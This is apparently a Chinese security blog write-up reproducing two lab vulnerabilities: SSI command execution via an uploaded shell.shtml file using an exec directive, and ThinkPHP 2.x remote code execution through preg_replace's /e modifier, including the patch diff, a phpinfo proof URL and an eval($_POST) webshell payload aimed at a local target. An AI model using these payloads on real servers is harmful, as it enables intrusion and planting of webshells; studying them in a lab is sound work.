标签:shu evel 入参 serve rap img www 不同的 成功
原理:
当目标服务器开启了SSI与CGI支持,我们就可以上传shtml文件,利用<!--#exec cmd="id" -->语法执行命令。
什么是ssi
简单的来说ssi可以对静态的html网页进行动态的改动,我们通过在静态的html页面中插入不同的内容,如果不利用ssi的话我们需要对页面改变就需要重新生成所有的静态的html,但是如果有了ssi 的话服务器会根据嵌入文件自动生成网页,输出到浏览器,如要修改则只需要修改嵌入的文件
它们允许将动态生成的内容添加到现有HTML页面,而无需通过CGI程序或其他动态技术提供整个页面。
文章链接:https://blog.csdn.net/fdipzone/article/details/10820127
SHTML文件
.shtml 文件就是 html 文件加个 ssi
CGI支持
CGI是一个通用网关接口(CGI本身是一套协议和规范)
首先简单的说一下web server 和 web应用程序之间的关系,这两者的关系就像手机和手机应用程序一样。因为web server所处理的内容全部都是静态的,所以如果想要处理动态的内容需要CGI的支持(需要依赖web应用程序)web server 依赖CGI协议将动态的请求传给web应用程序进行处理,然后web应用程序处理完毕之后再通过cgi协议返回给web server(html静态页面)
这里由于我们是要访问上传的那个文件的,所以坑定是动态的请求,这一过程是需要交给web应用程序去处理的,然后web应用程序将处理后的结果返回给web server
这里我个人觉得我说的不够清楚我后面会继续进行修改
文章链接:https://www.jianshu.com/p/e5e471f368aa
https://blog.csdn.net/LiuNian_SiYu/article/details/60964966
最终结果如下图
我们通过上传 内容为
<!--#exec cmd="id" -->
的shell.shtml,然后访问文件地址可以发现成功
原理:
`preg_replace`的`/e`模式匹配路由导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit ] )
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)
有漏洞的是这个文件/trunk/ThinkPHP/Lib/Core/Dispatcher.class.php
125 – $res = preg_replace(‘@(w+)’.$depr.’([^‘.$depr.‘\/]+)@e’, ‘$var[\‘\\1\‘]=”\\2″;’, implode($depr,$paths));
125 + $res = preg_replace(‘@(w+)’.$depr.’([^‘.$depr.‘\/]+)@e’, ‘$var[\‘\\1\‘]=\’\\2\’;‘, implode($depr,$paths));
这是官方前后发布的补丁,我们可以看到官方把 \\2\两边的双引号变成了单引号
(这里我搜了好多有关于thinkphp 2.x rce但文章但是发现好像都很难找到了,所以这里有个疑问存留
如何知道是这个路径下的问题 是通过代码审计的嘛?
复现过程:
http://127.0.0.1:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D`
既然我们都可以执行任意命令了何不来个shell呢?(奸笑
http://127.0.0.1:8080/index.php/index.php?s=/index/index/name/${${@eval($_POST[1])}}
别的不多说了俺们直接蚁剑安排上!!
标签:shu evel 入参 serve rap img www 不同的 成功
原文地址:https://www.cnblogs.com/Wh7Ro/p/11960520.html